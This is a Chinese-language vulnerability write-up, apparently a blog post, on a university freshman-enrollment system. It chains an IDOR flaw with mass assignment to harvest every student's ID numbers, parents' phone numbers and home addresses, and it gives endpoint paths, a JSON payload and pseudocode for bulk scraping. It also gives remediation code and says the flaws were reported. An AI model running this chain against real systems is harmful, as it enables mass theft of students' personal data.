迎新系统学生信息管理模块 — 漏洞分析与利用链

迎新系统学生信息管理模块 — 漏洞分析与利用链

前言

在对某高校迎新系统的学生信息管理模块进行安全测试时,发现了一组较为典型的 Web 安全漏洞组合:水平越权(IDOR)+ 属性级授权缺失(Mass Assignment)。单独来看每个漏洞的危害有限,但将它们组合成利用链后,可以实现全校学生敏感信息的批量窃取

本文仅作技术分析,相关漏洞已向厂商报告。


系统背景

该模块用于新生入学时的信息采集与确认,涵盖了学生的:

  • 姓名、学号、身份证号
  • 户籍地址、家庭住址
  • 家长姓名、联系电话
  • 高考准考证号、毕业中学
  • 学院、专业、班级信息
  • … 等 100+ 个字段

系统基于 Spring Boot + MyBatis,前后端分离架构。


漏洞一:IDOR(水平越权)

接口

GET /welcome/tbWelcomeXs/web/getTbWelcomeXsById?id={xsId}

问题

后端仅校验了用户的登录状态(是否有 token),完全未校验当前登录用户是否有权限访问该 xsId 对应的数据

这意味着:学生 A 登录后,只需把 id 参数替换为其他学生的 ID,即可获取该学生的完整个人信息。

危害

直接遍历 xsId,可以批量获取所有学生的高度敏感信息:身份证号、手机号、家庭住址、父母联系方式等。


漏洞二:Mass Assignment(属性级授权缺失)

接口

POST /welcome/tbWelcomeXs/web/xxqrEditTbWelcomeXsById

问题

该接口接受前端提交的全量 JSON,直接映射到实体类进行更新。后端没有做字段级别的权限控制,学生可以提交本应由管理员或系统自动分配的字段。

正常情况下学生只能修改自己的联系电话、家庭住址等基本信息,但实际上可以提交:

{
  "bjId": "目标班级ID",
  "yxId": "目标学院ID",
  "zyId": "目标专业ID"
}

危害

学生可以把自己 "转到" 任意班级、专业甚至学院,为下一步攻击铺路。


漏洞三:漏洞链 — 全校信息泄露

将上述两个漏洞组合,形成完整的利用链:

1. 登录系统
2. Mass Assignment → 修改自己的班级ID(bjId)为某个目标班级
3. 调用同班同学列表接口 → 获取该班所有学生的 xsId
4. IDOR 遍历 xsId → 拉取每个学生的全量信息
5. 重复 2-4 步骤,切换不同的班级ID → 覆盖全校
6. 全校学生敏感信息全部到手

PoC 核心逻辑

# 1. 登录获取 token
token = login(username, password)

# 2. 枚举学院 → 专业 → 班级,获取所有班级ID
colleges = getColleges(token)
for college in colleges:
    majors = getMajors(token, college["id"])
    for major in majors:
        classes = getClasses(token, major["id"])
        all_class_ids.extend([c["id"] for c in classes])

# 3. 切换班级 → 获取同班列表 → IDOR 拖数据
for class_id in all_class_ids:
    changeStudentData(token, {"bjId": class_id})
    classmates = getClassmate(token)
    for student in classmates:
        info = getStudentData(token, student["xsId"])
        save_to_db(info)

效果

一次完整的利用链执行后,攻击者可以获得全校学生的身份证号、家长的手机号和姓名、家庭户籍地址、高考准考证号等敏感信息。


修复建议

1. 修复 IDOR(关键)

在接口中添加资源所有权校验

// 正确:校验当前用户是否拥有该数据
@GetMapping("/getTbWelcomeXsById")
public Result getStudent(String id) {
    Student s = studentService.getById(id);
    if (!s.getUserId().equals(currentUserId) && !isAdmin(currentUser)) {
        return Result.fail("无权访问");
    }
    return Result.success(s);
}

2. 修复 Mass Assignment

改用 DTO 白名单模式:

public class StudentUpdateDTO {
    private String phone;
    private String address;
    private String email;
    // bjId、yxId、zyId 等不允许出现在这里
}

3. 敏感数据脱敏

对于身份证号、手机号等敏感字段,在非必要场景下做脱敏处理:

手机号: 138****1234
身份证: 410***************5678

总结

这个案例非常典型地展示了:

  1. 单一漏洞的危害有限,组合起来威力巨大
  2. IDOR + Mass Assignment 是高校 / 教育系统中最常见的安全隐患
  3. 后端永远不要信任前端提交的数据——权限校验、字段白名单、数据脱敏,三道防线缺一不可

代码写得再花哨,权限校验少一行,就是漏洞。


免责声明:本文仅作安全技术研究,漏洞已向相关厂商报告。请勿用于非法用途。

评论